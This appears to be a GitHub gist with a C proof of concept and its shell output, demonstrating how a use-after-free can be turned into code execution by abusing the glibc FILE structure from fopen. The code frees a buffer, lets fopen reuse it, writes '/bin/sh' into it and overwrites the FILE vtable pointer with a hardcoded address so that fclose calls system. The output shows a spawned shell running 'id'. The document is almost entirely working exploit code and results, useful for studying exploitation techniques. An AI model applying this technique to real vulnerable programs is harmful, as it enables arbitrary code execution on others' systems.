use-after-free and fopen(3) / https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

gistfile1.txt

$ gcc uaf-fopen.c
uaf-fopen.c: In function ‘main’:
uaf-fopen.c:20:25: warning: assignment makes pointer from integer without a cast [enabled by default]
     *(void **)(p1+0xd8) = 0x601028-0x88;
                         ^

$ ./a.out
p1 = 0x1fc8010
fp = 0x1fc8010
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),116(libvirtd),999(docker)
$
Segmentation fault (core dumped)

uaf-fopen.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void wontcall()
{
    system("false");
}

int main()
{
    char *p1 = malloc(0x100);
    printf("p1 = %p\n", p1);
    free(p1);

    FILE *fp = fopen("/etc/passwd", "r");
    printf("fp = %p\n", fp);

    strcpy(p1, "/bin/sh");
    *(void **)(p1+0xd8) = 0x601028-0x88;

    fclose(fp);
    return 0;
}